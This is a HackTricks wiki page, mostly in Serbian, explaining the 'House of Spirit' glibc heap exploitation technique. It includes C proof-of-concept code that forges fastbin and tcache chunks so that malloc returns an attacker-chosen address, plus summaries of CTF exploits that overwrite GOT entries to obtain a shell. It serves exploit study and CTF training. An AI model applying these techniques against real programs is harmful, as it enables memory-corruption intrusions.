House of Spirit

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

Kod

House of Spirit ```c #include #include #include #include

// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit

struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range };

int main() { struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory void *ptr, *victim;

ptr = malloc(0x30);

printf(“Original alloc address: %p\n”, ptr); printf(“Main fake chunk:%p\n”, &fake_chunks[0]); printf(“Second fake chunk for size: %p\n”, &fake_chunks[1]);

// Passes size check of “free(): invalid size” fake_chunks[0].size = sizeof(struct fast_chunk);

// Passes “free(): invalid next size (fast)” fake_chunks[1].size = sizeof(struct fast_chunk);

// Attacker overwrites a pointer that is about to be ‘freed’ // Point to .fd as it’s the start of the content of the chunk ptr = (void *)&fake_chunks[0].fd;

free(ptr);

victim = malloc(0x30); printf(“Victim: %p\n”, victim);

return 0; }

</details>

### Goal

- Mogućnost dodavanja adrese u tcache / fast bin kako bi je kasnije bilo moguće alocirati

### Requirements

- Ovaj napad zahteva da napadač može da kreira par fake fast chunks koji na odgovarajućim mestima sadrže ispravnu vrednost size polja, i zatim da oslobodi prvi fake chunk tako da završi u binu.
- Sa **tcache (glibc ≥2.26)** napad je još jednostavniji: potreban je samo jedan fake chunk (na tcache putanji se ne vrši next-chunk size check), pod uslovom da je fake chunk 0x10-aligned i da mu size polje pripada validnom tcache bin-u (0x20-0x410 on x64).

### Attack

- Kreirajte fake chunks koji zaobilaze sigurnosne provere: u osnovi će vam trebati 2 fake chunks koji na ispravnim pozicijama sadrže odgovarajuće size vrednosti
- Na neki način oslobodite prvi fake chunk tako da završi u fast ili tcache bin-u, pa ga potom alocirajte kako biste prepisali tu adresu

**The code from** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **is great to understand the attack.** Iako ova šema iz koda to prilično dobro sumira:

<details>
<summary>Raspored fake chunk-a</summary>
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64

+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size      | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content   | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size      | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content   | 0x00 |
+-------+---------------------+------+

for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/

Tip

Imajte na umu da je neophodno kreirati drugi chunk kako biste zaobišli neke sanity provere.

Tcache house of spirit (glibc ≥2.26)

  • Na modernom glibc tcache fast-path poziva tcache_put pre nego što validira veličinu sledećeg chunka/prev_inuse, tako da samo trenutni lažni chunk mora izgledati ispravno.
  • Zahtevi:
  • Lažni chunk mora biti poravnat na 16 bajtova i ne sme biti označen kao IS_MMAPPED/NON_MAIN_ARENA.
  • size mora pripadati tcache binu i uključivati prev_inuse bit set (size | 1).
  • Tcache za taj bin ne sme biti pun (podrazumevano maksimum 7 unosa).
  • Minimalni PoC (stack chunk):
unsigned long long fake[6] __attribute__((aligned(0x10)));
// chunk header at fake[0]; usable data starts at fake+2
fake[1] = 0x41;              // fake size (0x40 bin, prev_inuse=1)
void *p = &fake[2];          // points inside fake chunk
free(p);                     // goes straight into tcache
void *q = malloc(0x30);      // returns stack address fake+2
  • Safe-linking ovde nije prepreka: forward pointer koji se čuva u tcache se automatski enkodira kao fd = ptr ^ (heap_base >> 12) tokom free, tako da napadač ne mora da zna ključ pri korišćenju jednog fake chunk-a.
  • Ova varijanta je korisna kada su glibc hooks uklonjeni (≥2.34) i želite brz arbitrary write ili da overlap-ujete ciljnu bafer oblast (npr. stack/BSS) sa tcache chunk-om bez pravljenja dodatnih korupcija.

Primeri

  • CTF https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html

  • Libc infoleak: Kroz overflow moguće je promeniti pointer da pokazuje na GOT address kako bi se leak-ovao libc address preko read akcije u CTF-u.

  • House of Spirit: Zloupotrebom brojača koji prebrojava broj “rifles” moguće je generisati fake size prvog fake chanka; potom zloupotrebom “message”-a moguće je postaviti drugi fake size chunk-a i na kraju zloupotrebom overflow-a moguće je promeniti pointer koji će biti freed tako da se naš prvi fake chunk free-uje. Nakon toga možemo alocirati taj chunk u kojem će biti adresa na kojoj je “message” smešten. Tada je moguće usmeriti tu adresu na scanf entry u GOT tabeli, pa overwrite-ovati scanf sa adresom system. Sledeći put kad se scanf pozove, možemo poslati input "/bin/sh" i dobiti shell.

  • Gloater. HTB Cyber Apocalypse CTF 2024

  • Glibc leak: Neinicijalizovan stack buffer.

  • House of Spirit: Možemo izmeniti prvi indeks globalnog niza heap pointera. Jednom bajt modifikacije koristi se da se pozove free na fake chunk-u unutar validnog chanka, što dovodi do overlap situacije nakon ponovne alokacije. Sa tim, jednostavan Tcache poisoning attack omogućava arbitrary write primitive.

Reference

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks